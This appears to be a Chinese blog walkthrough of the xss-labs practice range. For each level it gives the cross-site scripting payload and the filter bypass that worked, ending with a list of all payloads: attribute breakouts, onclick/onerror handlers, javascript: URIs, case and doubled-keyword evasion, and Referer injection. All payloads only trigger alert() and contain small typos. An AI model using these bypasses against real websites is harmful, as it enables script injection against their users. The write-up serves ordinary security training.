level1
payload:<scirpt>alert(123);</script>
从php代码可以看出level1没有对输入的数据进行防御!
level2
输入level1的payload
可以看到输入到input标签中的value值中,所以用'"用来闭合value,用>来闭合input标签
payload:'"><script>alert(123)</script>
从php代码可以看到level2对图片上输出的内容进行了htmlspecialchars实体转义,但并未对input标签中的value进行实体转化!
level3
首先输入level2的payload进行试探
可以看出文本框中输入的payload被htmlspecialchars函数转义了
payload:' onclick=javascript:alert() '
htmlspecialchars函数
htmlspecialchars函数默认不会转义单引号
php代码查看
从code可以看出对h标签和input标签都进行了转义,因此可以使用如 onclick onfocus onm ouseover等属性跳过
level4
当输入level3的payload后,可以看出单引号并未闭合之前的属性
因此需要闭合之前的vlaue属性,payload:'" onclick=javascript:alert() '
php代码查看
可以看到code中将<>过滤,因此,不能使用payload
而输入后的代码会显示在value属性中,因此本关宜用onclik payload
payload:'" onclick=javascript:alert()
level5
onclick中的on被 o_n替代
尝试a标签
可以看到成功绕过了
payload: '" <a href="javascript:alert()">as</a>
查看code
可以看到script on*都被替代破坏payload
level6
尝试level5的payload
可以看出href也别替代
尝试大小写、双写
payload:'" <a HREF="javascript:alert()">asd</a>
!!!!双写并不可行,因为href是被h_ref替代而不是过滤
level7
用level6的payload尝试
可以看到href被过滤,而不是替代
因此尝试payload:'" <a hrehreff="javascscriptript:alert()">wefr</a>
尝试了'" wefr,但是script也会被过滤,所以尝试了script也双写了
查看code
可以看出很多的属性都被过滤了
leve8
测试发现,会将input标签中的内容发送到友情链接的地址,因此可以构造一个payload
输入payload:javascript:alert();
提示javascript变成javasc_cript
尝试javasCript, 同样无效
因为是在href属性内,所以可以将javascript进行编码转换,这样可以绕过xss过滤
payload:javascript:alert()
查看code:
发现strtolower函数将输入的内容全部转换为小写,因此大写绕过失败
level9
输入简单payload尝试,发现a标签里面地址显示地址不合法
尝试常见的地址 如http// https://
payload:https://javascript:alert()
提示仍然不合法
payload:http://javascript:alert()
可以看到可以识别http://但是出现script被替换
因此可以利用php的注释构造
payload:javascript:alert()//http://
查看code:
level10
没有输入地方,尝试url后面的参数值
没有效果
但是检查发现有三个隐藏的文本框,可以尝试给它们赋值,看看效果
构造payload:ip/level10.php?t_sort='" onclick="javascript:alert()" type="text"
level11
检查发现,input中仅有t_re有值,再次尝试level10的尝试方法
url输入尝试发现仅有t_sort有值
输入payload尝试后发现输入的payload被实体化,故不能使用
在发现ref属性的值
发现ref获得的值是:
仔细发现是上一关的ip地址
抓包查看
获得数据包中的reference值和t_ref获得的value值相同,常是将ref的值替换为payload
成功绕过
查看代码
发现获得的t_ref的值value值是来自上一个页面的地址
并且过滤了常规绕过参数
在观察发现t_sort获的值str00会被htmlspecialchars函数过滤,因此可以尝试onclick参数
单引号、双引号尝试失败,故不得绕过
level12
先检查,发现本关和上一关类似,尝试更改t_age值
尝试发现成功
level13
由于靶场error,故没有没有做成功,但方法如上
level4
题有问题,略过
level15
绕不过
关于ng-include
level16
通过url测试发现参数输出到center标签中
尝试构造a标签
测试发现
空格和script都被替换
尝试使用回车替换空格,回车因为不能在搜索框里输入(输入会被省略),因此需要转化为十六进制编码
payload:
http://192.168.10.12:902/level16.php?keyword=<img src="" one rror="alert()"/>
level17
由于embed不在使用,故略
所有关卡payload:
<script>alert()</script>
'"><script>alert(123)</script>
' onclick=javascript:alert() '
'" <a href="javascript:alert()">as</a>
'" <a HREF="javascript:alert()">asd</a>
'" <a hrehreff="javascscriptript:alert()">wefr</a>
javascript:alert()
javascript:alert()//http://
标签:尝试,xsslabs,javascript,alert,&#,靶场,payload,输入
From: https://www.cnblogs.com/laibunizi/p/18062065